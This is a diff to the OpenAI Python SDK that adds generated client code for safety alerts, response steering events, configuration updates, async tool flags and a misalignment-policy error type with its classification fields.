+ AsyncAlertsWithRawResponse,
+ AlertsWithStreamingResponse,
+ AsyncAlertsWithStreamingResponse,
+)
+from .safety import (
+ Safety,
+ AsyncSafety,
+ SafetyWithRawResponse,
+ AsyncSafetyWithRawResponse,
+ SafetyWithStreamingResponse,
+ AsyncSafetyWithStreamingResponse,
+)
+
+__all__ = [
+ "Alerts",
+ "AsyncAlerts",
+ "AlertsWithRawResponse",
+ "AsyncAlertsWithRawResponse",
+ "AlertsWithStreamingResponse",
+ "AsyncAlertsWithStreamingResponse",
+ "Safety",
+ "AsyncSafety",
+ "SafetyWithRawResponse",
+ "AsyncSafetyWithRawResponse",
+ "SafetyWithStreamingResponse",
+ "AsyncSafetyWithStreamingResponse",
+]
diff --git a/src/openai/resources/safety/alerts.py b/src/openai/resources/safety/alerts.py
new file mode 100644
index 0000000000..eb3ee7eaa2
--- /dev/null
+++ b/src/openai/resources/safety/alerts.py
@@ -0,0 +1,172 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import httpx2
+
+from ... import _legacy_response
+from ..._types import Body, Query, Headers, NotGiven, not_given
+from ..._utils import path_template
+from ..._compat import cached_property
+from ..._resource import SyncAPIResource, AsyncAPIResource
+from ..._response import to_streamed_response_wrapper, async_to_streamed_response_wrapper
+from ..._base_client import make_request_options
+from ...types.safety.safety_alert import SafetyAlert
+
+__all__ = ["Alerts", "AsyncAlerts"]
+
+
+class Alerts(SyncAPIResource):
+ @cached_property
+ def with_raw_response(self) -> AlertsWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return AlertsWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> AlertsWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return AlertsWithStreamingResponse(self)
+
+ def retrieve(
+ self,
+ id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> SafetyAlert:
+ """
+ Get a safety alert belonging to the authenticated API project.
+
+ Args:
+ id: Project safety alert ID
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not id:
+ raise ValueError(f"Expected a non-empty value for `id` but received {id!r}")
+ return self._get(
+ path_template("/safety/alerts/{id}", id=id),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=SafetyAlert,
+ )
+
+
+class AsyncAlerts(AsyncAPIResource):
+ @cached_property
+ def with_raw_response(self) -> AsyncAlertsWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return AsyncAlertsWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> AsyncAlertsWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return AsyncAlertsWithStreamingResponse(self)
+
+ async def retrieve(
+ self,
+ id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> SafetyAlert:
+ """
+ Get a safety alert belonging to the authenticated API project.
+
+ Args:
+ id: Project safety alert ID
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not id:
+ raise ValueError(f"Expected a non-empty value for `id` but received {id!r}")
+ return await self._get(
+ path_template("/safety/alerts/{id}", id=id),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=SafetyAlert,
+ )
+
+
+class AlertsWithRawResponse:
+ def __init__(self, alerts: Alerts) -> None:
+ self._alerts = alerts
+
+ self.retrieve = _legacy_response.to_raw_response_wrapper(
+ alerts.retrieve,
+ )
+
+
+class AsyncAlertsWithRawResponse:
+ def __init__(self, alerts: AsyncAlerts) -> None:
+ self._alerts = alerts
+
+ self.retrieve = _legacy_response.async_to_raw_response_wrapper(
+ alerts.retrieve,
+ )
+
+
+class AlertsWithStreamingResponse:
+ def __init__(self, alerts: Alerts) -> None:
+ self._alerts = alerts
+
+ self.retrieve = to_streamed_response_wrapper(
+ alerts.retrieve,
+ )
+
+
+class AsyncAlertsWithStreamingResponse:
+ def __init__(self, alerts: AsyncAlerts) -> None:
+ self._alerts = alerts
+
+ self.retrieve = async_to_streamed_response_wrapper(
+ alerts.retrieve,
+ )
diff --git a/src/openai/resources/safety/safety.py b/src/openai/resources/safety/safety.py
new file mode 100644
index 0000000000..80aeb916d5
--- /dev/null
+++ b/src/openai/resources/safety/safety.py
@@ -0,0 +1,102 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from .alerts import (
+ Alerts,
+ AsyncAlerts,
+ AlertsWithRawResponse,
+ AsyncAlertsWithRawResponse,
+ AlertsWithStreamingResponse,
+ AsyncAlertsWithStreamingResponse,
+)
+from ..._compat import cached_property
+from ..._resource import SyncAPIResource, AsyncAPIResource
+
+__all__ = ["Safety", "AsyncSafety"]
+
+
+class Safety(SyncAPIResource):
+ @cached_property
+ def alerts(self) -> Alerts:
+ return Alerts(self._client)
+
+ @cached_property
+ def with_raw_response(self) -> SafetyWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return SafetyWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> SafetyWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return SafetyWithStreamingResponse(self)
+
+
+class AsyncSafety(AsyncAPIResource):
+ @cached_property
+ def alerts(self) -> AsyncAlerts:
+ return AsyncAlerts(self._client)
+
+ @cached_property
+ def with_raw_response(self) -> AsyncSafetyWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return AsyncSafetyWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> AsyncSafetyWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return AsyncSafetyWithStreamingResponse(self)
+
+
+class SafetyWithRawResponse:
+ def __init__(self, safety: Safety) -> None:
+ self._safety = safety
+
+ @cached_property
+ def alerts(self) -> AlertsWithRawResponse:
+ return AlertsWithRawResponse(self._safety.alerts)
+
+
+class AsyncSafetyWithRawResponse:
+ def __init__(self, safety: AsyncSafety) -> None:
+ self._safety = safety
+
+ @cached_property
+ def alerts(self) -> AsyncAlertsWithRawResponse:
+ return AsyncAlertsWithRawResponse(self._safety.alerts)
+
+
+class SafetyWithStreamingResponse:
+ def __init__(self, safety: Safety) -> None:
+ self._safety = safety
+
+ @cached_property
+ def alerts(self) -> AlertsWithStreamingResponse:
+ return AlertsWithStreamingResponse(self._safety.alerts)
+
+
+class AsyncSafetyWithStreamingResponse:
+ def __init__(self, safety: AsyncSafety) -> None:
+ self._safety = safety
+
+ @cached_property
+ def alerts(self) -> AsyncAlertsWithStreamingResponse:
+ return AsyncAlertsWithStreamingResponse(self._safety.alerts)
diff --git a/src/openai/resources/webhooks/api.md b/src/openai/resources/webhooks/api.md
index 9203eb2efb..24101fc78f 100644
--- a/src/openai/resources/webhooks/api.md
+++ b/src/openai/resources/webhooks/api.md
@@ -20,6 +20,8 @@ from openai.types.webhooks import (
ResponseCompletedWebhookEvent,
ResponseFailedWebhookEvent,
ResponseIncompleteWebhookEvent,
+ SafetyAlertCreatedWebhookEvent,
+ SafetyOrgAlertCreatedWebhookEvent,
UnwrapWebhookEvent,
)
```
diff --git a/src/openai/types/admin/organization/usage_costs_params.py b/src/openai/types/admin/organization/usage_costs_params.py
index b4fa5e8da7..a547069131 100644
--- a/src/openai/types/admin/organization/usage_costs_params.py
+++ b/src/openai/types/admin/organization/usage_costs_params.py
@@ -43,7 +43,7 @@ class UsageCostsParams(TypedDict, total=False):
"""Return only costs for these exact line item names.
Each value must match the complete `line_item` value, for example
- `gpt-5.6-sol, input_tokens`.
+ `gpt-6-astra, input_tokens`.
"""
page: str
diff --git a/src/openai/types/batch.py b/src/openai/types/batch.py
index e4b75c0361..b869674f3d 100644
--- a/src/openai/types/batch.py
+++ b/src/openai/types/batch.py
@@ -82,7 +82,7 @@ class Batch(BaseModel):
"""
model: Optional[str] = None
- """Model ID used to process the batch, like `gpt-5.6-sol`.
+ """Model ID used to process the batch, like `gpt-6-astra`.
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
diff --git a/src/openai/types/beta/__init__.py b/src/openai/types/beta/__init__.py
index 214b3a9423..7c7c7ae9dd 100644
--- a/src/openai/types/beta/__init__.py
+++ b/src/openai/types/beta/__init__.py
@@ -78,6 +78,8 @@
from .beta_response_input_param import BetaResponseInputParam as BetaResponseInputParam
from .beta_response_output_item import BetaResponseOutputItem as BetaResponseOutputItem
from .beta_response_output_text import BetaResponseOutputText as BetaResponseOutputText
+from .beta_response_steer_event import BetaResponseSteerEvent as BetaResponseSteerEvent
+from .beta_response_steer_input import BetaResponseSteerInput as BetaResponseSteerInput
from .beta_response_text_config import BetaResponseTextConfig as BetaResponseTextConfig
from .beta_tool_choice_function import BetaToolChoiceFunction as BetaToolChoiceFunction
from .beta_computer_action_param import BetaComputerActionParam as BetaComputerActionParam
@@ -125,6 +127,7 @@
from .beta_response_input_file_param import BetaResponseInputFileParam as BetaResponseInputFileParam
from .beta_response_input_item_param import BetaResponseInputItemParam as BetaResponseInputItemParam
from .beta_response_input_text_param import BetaResponseInputTextParam as BetaResponseInputTextParam
+from .beta_response_steer_error_code import BetaResponseSteerErrorCode as BetaResponseSteerErrorCode
from .beta_response_text_delta_event import BetaResponseTextDeltaEvent as BetaResponseTextDeltaEvent
from .beta_response_tool_search_call import BetaResponseToolSearchCall as BetaResponseToolSearchCall
from .beta_tool_choice_allowed_param import BetaToolChoiceAllowedParam as BetaToolChoiceAllowedParam
@@ -134,6 +137,8 @@
from .beta_response_input_image_param import BetaResponseInputImageParam as BetaResponseInputImageParam
from .beta_response_local_environment import BetaResponseLocalEnvironment as BetaResponseLocalEnvironment
from .beta_response_output_text_param import BetaResponseOutputTextParam as BetaResponseOutputTextParam
+from .beta_response_steer_event_param import BetaResponseSteerEventParam as BetaResponseSteerEventParam
+from .beta_response_steer_input_param import BetaResponseSteerInputParam as BetaResponseSteerInputParam
from .beta_response_text_config_param import BetaResponseTextConfigParam as BetaResponseTextConfigParam
from .beta_tool_choice_function_param import BetaToolChoiceFunctionParam as BetaToolChoiceFunctionParam
from .assistant_response_format_option import AssistantResponseFormatOption as AssistantResponseFormatOption
@@ -146,18 +151,24 @@
from .beta_response_input_message_item import BetaResponseInputMessageItem as BetaResponseInputMessageItem
from .beta_response_input_text_content import BetaResponseInputTextContent as BetaResponseInputTextContent
from .beta_response_refusal_done_event import BetaResponseRefusalDoneEvent as BetaResponseRefusalDoneEvent
+from .beta_response_steer_failed_event import BetaResponseSteerFailedEvent as BetaResponseSteerFailedEvent
from .beta_response_container_reference import BetaResponseContainerReference as BetaResponseContainerReference
from .beta_response_function_web_search import BetaResponseFunctionWebSearch as BetaResponseFunctionWebSearch
from .beta_response_inject_failed_event import BetaResponseInjectFailedEvent as BetaResponseInjectFailedEvent
from .beta_response_input_content_param import BetaResponseInputContentParam as BetaResponseInputContentParam
from .beta_response_input_image_content import BetaResponseInputImageContent as BetaResponseInputImageContent
from .beta_response_refusal_delta_event import BetaResponseRefusalDeltaEvent as BetaResponseRefusalDeltaEvent
+from .beta_response_steer_input_content import BetaResponseSteerInputContent as BetaResponseSteerInputContent
+from .beta_response_steer_pending_event import BetaResponseSteerPendingEvent as BetaResponseSteerPendingEvent
from .beta_responses_client_event_param import BetaResponsesClientEventParam as BetaResponsesClientEventParam
from .assistant_tool_choice_option_param import AssistantToolChoiceOptionParam as AssistantToolChoiceOptionParam
from .beta_response_inject_created_event import BetaResponseInjectCreatedEvent as BetaResponseInjectCreatedEvent
from .beta_response_output_message_param import BetaResponseOutputMessageParam as BetaResponseOutputMessageParam
from .beta_response_output_refusal_param import BetaResponseOutputRefusalParam as BetaResponseOutputRefusalParam
from .beta_response_reasoning_item_param import BetaResponseReasoningItemParam as BetaResponseReasoningItemParam
+from .beta_response_steer_accepted_event import BetaResponseSteerAcceptedEvent as BetaResponseSteerAcceptedEvent
+from .beta_response_steer_pending_reason import BetaResponseSteerPendingReason as BetaResponseSteerPendingReason
+from .beta_response_steer_required_input import BetaResponseSteerRequiredInput as BetaResponseSteerRequiredInput
from .beta_tool_choice_apply_patch_param import BetaToolChoiceApplyPatchParam as BetaToolChoiceApplyPatchParam
from .beta_web_search_preview_tool_param import BetaWebSearchPreviewToolParam as BetaWebSearchPreviewToolParam
from .beta_response_apply_patch_tool_call import BetaResponseApplyPatchToolCall as BetaResponseApplyPatchToolCall
@@ -210,6 +221,9 @@
from .beta_container_network_policy_allowlist import (
BetaContainerNetworkPolicyAllowlist as BetaContainerNetworkPolicyAllowlist,
)
+from .beta_response_configuration_update_item import (
+ BetaResponseConfigurationUpdateItem as BetaResponseConfigurationUpdateItem,
+)
from .beta_response_function_call_output_item import (
BetaResponseFunctionCallOutputItem as BetaResponseFunctionCallOutputItem,
)
@@ -222,6 +236,9 @@
from .beta_response_reasoning_text_done_event import (
BetaResponseReasoningTextDoneEvent as BetaResponseReasoningTextDoneEvent,
)
+from .beta_response_steer_input_content_param import (
+ BetaResponseSteerInputContentParam as BetaResponseSteerInputContentParam,
+)
from .beta_response_code_interpreter_tool_call import (
BetaResponseCodeInterpreterToolCall as BetaResponseCodeInterpreterToolCall,
)
@@ -303,6 +320,9 @@
from .beta_container_network_policy_allowlist_param import (
BetaContainerNetworkPolicyAllowlistParam as BetaContainerNetworkPolicyAllowlistParam,
)
+from .beta_response_configuration_update_item_param import (
+ BetaResponseConfigurationUpdateItemParam as BetaResponseConfigurationUpdateItemParam,
+)
from .beta_response_function_call_output_item_param import (
BetaResponseFunctionCallOutputItemParam as BetaResponseFunctionCallOutputItemParam,
)
@@ -399,6 +419,9 @@
from .beta_response_code_interpreter_call_completed_event import (
BetaResponseCodeInterpreterCallCompletedEvent as BetaResponseCodeInterpreterCallCompletedEvent,
)
+from .beta_response_configuration_update_item_param_param import (
+ BetaResponseConfigurationUpdateItemParamParam as BetaResponseConfigurationUpdateItemParamParam,
+)
from .beta_response_shell_call_output_content_delta_event import (
BetaResponseShellCallOutputContentDeltaEvent as BetaResponseShellCallOutputContentDeltaEvent,
)
diff --git a/src/openai/types/beta/beta_custom_tool.py b/src/openai/types/beta/beta_custom_tool.py
index eb80993960..9457e9bce8 100644
--- a/src/openai/types/beta/beta_custom_tool.py
+++ b/src/openai/types/beta/beta_custom_tool.py
@@ -3,6 +3,8 @@
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
+from pydantic import Field as FieldInfo
+
from ..._utils import PropertyInfo
from ..._models import BaseModel
@@ -47,6 +49,12 @@ class BetaCustomTool(BaseModel):
allowed_callers: Optional[List[Literal["direct", "programmatic"]]] = None
"""The tool invocation context(s)."""
+ async_: Optional[bool] = FieldInfo(alias="async", default=None)
+ """
+ Whether the tool response can be returned asynchronously versus immediately
+ returned on next response creation.
+ """
+
defer_loading: Optional[bool] = None
"""Whether this tool should be deferred and discovered via tool search."""
diff --git a/src/openai/types/beta/beta_custom_tool_param.py b/src/openai/types/beta/beta_custom_tool_param.py
index c8a7dc0121..251e79dadc 100644
--- a/src/openai/types/beta/beta_custom_tool_param.py
+++ b/src/openai/types/beta/beta_custom_tool_param.py
@@ -31,7 +31,16 @@ class FormatGrammar(TypedDict, total=False):
Format: TypeAlias = Union[FormatText, FormatGrammar]
-class BetaCustomToolParam(TypedDict, total=False):
+_BetaCustomToolParamReservedKeywords = TypedDict(
+ "_BetaCustomToolParamReservedKeywords",
+ {
+ "async": bool,
+ },
+ total=False,
+)
+
+
+class BetaCustomToolParam(_BetaCustomToolParamReservedKeywords, total=False):
"""A custom tool that processes input using a specified format.
Learn more about [custom tools](https://platform.openai.com/docs/guides/function-calling#custom-tools)
diff --git a/src/openai/types/beta/beta_function_tool.py b/src/openai/types/beta/beta_function_tool.py
index 4e8e7cbbd8..9f501664df 100644
--- a/src/openai/types/beta/beta_function_tool.py
+++ b/src/openai/types/beta/beta_function_tool.py
@@ -3,6 +3,8 @@
from typing import Dict, List, Optional
from typing_extensions import Literal
+from pydantic import Field as FieldInfo
+
from ..._models import BaseModel
__all__ = ["BetaFunctionTool"]
@@ -29,6 +31,8 @@ class BetaFunctionTool(BaseModel):
allowed_callers: Optional[List[Literal["direct", "programmatic"]]] = None
"""The tool invocation context(s)."""
+ async_: Optional[bool] = FieldInfo(alias="async", default=None)
+
defer_loading: Optional[bool] = None
"""Whether this function is deferred and loaded via tool search."""
diff --git a/src/openai/types/beta/beta_function_tool_param.py b/src/openai/types/beta/beta_function_tool_param.py
index 0975263749..70f44d43c5 100644
--- a/src/openai/types/beta/beta_function_tool_param.py
+++ b/src/openai/types/beta/beta_function_tool_param.py
@@ -7,8 +7,16 @@
__all__ = ["BetaFunctionToolParam"]
+_BetaFunctionToolParamReservedKeywords = TypedDict(
+ "_BetaFunctionToolParamReservedKeywords",
+ {
+ "async": bool,
+ },
+ total=False,
+)
-class BetaFunctionToolParam(TypedDict, total=False):
+
+class BetaFunctionToolParam(_BetaFunctionToolParamReservedKeywords, total=False):
"""Defines a function in your own code the model can choose to call.
Learn more about [function calling](https://platform.openai.com/docs/guides/function-calling).
diff --git a/src/openai/types/beta/beta_namespace_tool.py b/src/openai/types/beta/beta_namespace_tool.py
index 0903b2ed4e..0df50d1421 100644
--- a/src/openai/types/beta/beta_namespace_tool.py
+++ b/src/openai/types/beta/beta_namespace_tool.py
@@ -3,6 +3,8 @@
from typing import Dict, List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
+from pydantic import Field as FieldInfo
+
from ..._utils import PropertyInfo
from ..._models import BaseModel
from .beta_custom_tool import BetaCustomTool
@@ -18,6 +20,12 @@ class ToolFunction(BaseModel):
allowed_callers: Optional[List[Literal["direct", "programmatic"]]] = None
"""The tool invocation context(s)."""
+ async_: Optional[bool] = FieldInfo(alias="async", default=None)
+ """
+ Whether the tool response can be returned asynchronously versus immediately
+ returned on next response creation.
+ """
+
defer_loading: Optional[bool] = None
"""Whether this function should be deferred and discovered via tool search."""
diff --git a/src/openai/types/beta/beta_namespace_tool_param.py b/src/openai/types/beta/beta_namespace_tool_param.py
index 813cc534de..c351cbd0f4 100644
--- a/src/openai/types/beta/beta_namespace_tool_param.py
+++ b/src/openai/types/beta/beta_namespace_tool_param.py
@@ -9,8 +9,16 @@
__all__ = ["BetaNamespaceToolParam", "Tool", "ToolFunction"]
+_ToolFunctionReservedKeywords = TypedDict(
+ "_ToolFunctionReservedKeywords",
+ {
+ "async": bool,
+ },
+ total=False,
+)
-class ToolFunction(TypedDict, total=False):
+
+class ToolFunction(_ToolFunctionReservedKeywords, total=False):
name: Required[str]
type: Required[Literal["function"]]
diff --git a/src/openai/types/beta/beta_response.py b/src/openai/types/beta/beta_response.py
index 086cecf33d..c6ae3b3b90 100644
--- a/src/openai/types/beta/beta_response.py
+++ b/src/openai/types/beta/beta_response.py
@@ -44,8 +44,13 @@
class IncompleteDetails(BaseModel):
"""Details about why the response is incomplete."""
- reason: Optional[Literal["max_output_tokens", "max_messages", "content_filter"]] = None
- """The reason why the response is incomplete."""
+ reason: Optional[Literal["max_output_tokens", "max_messages", "content_filter", "steered"]] = None
+ """The reason why the response is incomplete.
+
+ `steered` means the response stopped at a safe output boundary after a WebSocket
+ `response.steer` event. The server can then create a successor response
+ automatically with the queued input.
+ """
class ToolChoiceBetaSpecificProgrammaticToolCallingParam(BaseModel):
@@ -278,6 +283,7 @@ class BetaResponse(BaseModel):
model: Union[
Literal[
+ "gpt-6-astra",
"gpt-5.6-sol",
"gpt-5.6-terra",
"gpt-5.6-luna",
@@ -383,7 +389,7 @@ class BetaResponse(BaseModel):
],
str,
]
- """Model ID used to generate the response, like `gpt-5.6-sol`.
+ """Model ID used to generate the response, like `gpt-6-astra`.
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
diff --git a/src/openai/types/beta/beta_response_configuration_update_item.py b/src/openai/types/beta/beta_response_configuration_update_item.py
new file mode 100644
index 0000000000..a6d1780521
--- /dev/null
+++ b/src/openai/types/beta/beta_response_configuration_update_item.py
@@ -0,0 +1,44 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["BetaResponseConfigurationUpdateItem", "Agent", "Reasoning"]
+
+
+class Agent(BaseModel):
+ """The agent that produced this item."""
+
+ agent_name: str
+ """The canonical name of the agent that produced this item."""
+
+
+class Reasoning(BaseModel):
+ """The reasoning configuration applied by this update."""
+
+ effort: Optional[Literal["none", "minimal", "low", "medium", "high", "xhigh", "max"]] = None
+ """
+ The reasoning effort used for subsequent responses until another configuration
+ update replaces it.
+ """
+
+
+class BetaResponseConfigurationUpdateItem(BaseModel):
+ """
+ A configuration update that applies to subsequent responses until it is
+ replaced by another configuration update.
+ """
+
+ id: str
+ """The unique ID of the configuration update item."""
+
+ type: Literal["configuration_update"]
+ """The item type. Always `configuration_update`."""
+
+ agent: Optional[Agent] = None
+ """The agent that produced this item."""
+
+ reasoning: Optional[Reasoning] = None
+ """The reasoning configuration applied by this update."""
diff --git a/src/openai/types/beta/beta_response_configuration_update_item_param.py b/src/openai/types/beta/beta_response_configuration_update_item_param.py
new file mode 100644
index 0000000000..36090be07d
--- /dev/null
+++ b/src/openai/types/beta/beta_response_configuration_update_item_param.py
@@ -0,0 +1,46 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["BetaResponseConfigurationUpdateItemParam", "Agent", "Reasoning"]
+
+
+class Agent(BaseModel):
+ """The agent that produced this item."""
+
+ agent_name: str
+ """The canonical name of the agent that produced this item."""
+
+
+class Reasoning(BaseModel):
+ """Updates to reasoning configuration. Only effort is supported."""
+
+ effort: Optional[Literal["none", "minimal", "low", "medium", "high", "xhigh", "max"]] = None
+ """
+ The reasoning effort to use for subsequent responses until another configuration
+ update replaces it.
+ """
+
+
+class BetaResponseConfigurationUpdateItemParam(BaseModel):
+ """An update to the conversation's response configuration.
+
+ The configuration
+ remains in effect for subsequent responses until it is replaced by another
+ configuration update.
+ """
+
+ type: Literal["configuration_update"]
+ """The item type. Always `configuration_update`."""
+
+ id: Optional[str] = None
+ """The unique ID of the configuration update item."""
+
+ agent: Optional[Agent] = None
+ """The agent that produced this item."""
+
+ reasoning: Optional[Reasoning] = None
+ """Updates to reasoning configuration. Only effort is supported."""
diff --git a/src/openai/types/beta/beta_response_configuration_update_item_param_param.py b/src/openai/types/beta/beta_response_configuration_update_item_param_param.py
new file mode 100644
index 0000000000..1c9b060f83
--- /dev/null
+++ b/src/openai/types/beta/beta_response_configuration_update_item_param_param.py
@@ -0,0 +1,46 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Optional
+from typing_extensions import Literal, Required, TypedDict
+
+__all__ = ["BetaResponseConfigurationUpdateItemParamParam", "Agent", "Reasoning"]
+
+
+class Agent(TypedDict, total=False):
+ """The agent that produced this item."""
+
+ agent_name: Required[str]
+ """The canonical name of the agent that produced this item."""
+
+
+class Reasoning(TypedDict, total=False):
+ """Updates to reasoning configuration. Only effort is supported."""
+
+ effort: Optional[Literal["none", "minimal", "low", "medium", "high", "xhigh", "max"]]
+ """
+ The reasoning effort to use for subsequent responses until another configuration
+ update replaces it.
+ """
+
+
+class BetaResponseConfigurationUpdateItemParamParam(TypedDict, total=False):
+ """An update to the conversation's response configuration.
+
+ The configuration
+ remains in effect for subsequent responses until it is replaced by another
+ configuration update.
+ """
+
+ type: Required[Literal["configuration_update"]]
+ """The item type. Always `configuration_update`."""
+
+ id: Optional[str]
+ """The unique ID of the configuration update item."""
+
+ agent: Optional[Agent]
+ """The agent that produced this item."""
+
+ reasoning: Reasoning
+ """Updates to reasoning configuration. Only effort is supported."""
diff --git a/src/openai/types/beta/beta_response_custom_tool_call.py b/src/openai/types/beta/beta_response_custom_tool_call.py
index 159f01c294..3f1d22ef2f 100644
--- a/src/openai/types/beta/beta_response_custom_tool_call.py
+++ b/src/openai/types/beta/beta_response_custom_tool_call.py
@@ -3,6 +3,8 @@
from typing import Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
+from pydantic import Field as FieldInfo
+
from ..._utils import PropertyInfo
from ..._models import BaseModel
@@ -51,6 +53,9 @@ class BetaResponseCustomToolCall(BaseModel):
agent: Optional[Agent] = None
"""The agent that produced this item."""
+ async_: Optional[bool] = FieldInfo(alias="async", default=None)
+ """Whether the custom tool call runs asynchronously."""
+
caller: Optional[Caller] = None
"""The execution context that produced this tool call."""
diff --git a/src/openai/types/beta/beta_response_custom_tool_call_param.py b/src/openai/types/beta/beta_response_custom_tool_call_param.py
index 29e9775d5b..8052d1da7f 100644
--- a/src/openai/types/beta/beta_response_custom_tool_call_param.py
+++ b/src/openai/types/beta/beta_response_custom_tool_call_param.py
@@ -29,7 +29,16 @@ class CallerProgram(TypedDict, total=False):
Caller: TypeAlias = Union[CallerDirect, CallerProgram]
-class BetaResponseCustomToolCallParam(TypedDict, total=False):
+_BetaResponseCustomToolCallParamReservedKeywords = TypedDict(
+ "_BetaResponseCustomToolCallParamReservedKeywords",
+ {
+ "async": bool,
+ },
+ total=False,
+)
+
+
+class BetaResponseCustomToolCallParam(_BetaResponseCustomToolCallParamReservedKeywords, total=False):
"""A call to a custom tool created by the model."""
call_id: Required[str]
diff --git a/src/openai/types/beta/beta_response_error.py b/src/openai/types/beta/beta_response_error.py
index baa90349ea..25974b5e2c 100644
--- a/src/openai/types/beta/beta_response_error.py
+++ b/src/openai/types/beta/beta_response_error.py
@@ -1,10 +1,38 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+from typing import Union, Optional
from typing_extensions import Literal
from ..._models import BaseModel
-__all__ = ["BetaResponseError"]
+__all__ = ["BetaResponseError", "Misalignment", "MisalignmentSteer"]
+
+
+class MisalignmentSteer(BaseModel):
+ """An optional public continuation instruction."""
+
+ message: str
+ """The public continuation instruction."""
+
+
+class Misalignment(BaseModel):
+ detailed_explanation: Optional[str] = None
+ """The public explanation for this block."""
+
+ error_type: Union[
+ str,
+ Literal[
+ "potentially_unintended_data_transfer",
+ "potentially_unintended_data_access",
+ "potentially_unintended_destructive_activity",
+ "other",
+ ],
+ None,
+ ] = None
+ """An optional classification; clients must accept additional values."""
+
+ steer: Optional[MisalignmentSteer] = None
+ """An optional public continuation instruction."""
class BetaResponseError(BaseModel):
@@ -16,6 +44,7 @@ class BetaResponseError(BaseModel):
"invalid_prompt",
"data_residency_mismatch",
"bio_policy",
+ "misalignment_policy_violation",
"vector_store_timeout",
"invalid_image",
"invalid_image_format",
@@ -36,3 +65,5 @@ class BetaResponseError(BaseModel):
message: str
"""A human-readable description of the error."""
+
+ misalignment: Optional[Misalignment] = None
diff --git a/src/openai/types/beta/beta_response_function_tool_call.py b/src/openai/types/beta/beta_response_function_tool_call.py
index eb1f495d74..cc16016287 100644
--- a/src/openai/types/beta/beta_response_function_tool_call.py
+++ b/src/openai/types/beta/beta_response_function_tool_call.py
@@ -3,6 +3,8 @@
from typing import Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
+from pydantic import Field as FieldInfo
+
from ..._utils import PropertyInfo
from ..._models import BaseModel
@@ -55,6 +57,9 @@ class BetaResponseFunctionToolCall(BaseModel):
agent: Optional[Agent] = None
"""The agent that produced this item."""
+ async_: Optional[bool] = FieldInfo(alias="async", default=None)
+ """Whether the function tool call runs asynchronously."""
+
caller: Optional[Caller] = None
"""The execution context that produced this tool call."""
diff --git a/src/openai/types/beta/beta_response_function_tool_call_param.py b/src/openai/types/beta/beta_response_function_tool_call_param.py
index 85d918e64f..84968ea35e 100644
--- a/src/openai/types/beta/beta_response_function_tool_call_param.py
+++ b/src/openai/types/beta/beta_response_function_tool_call_param.py
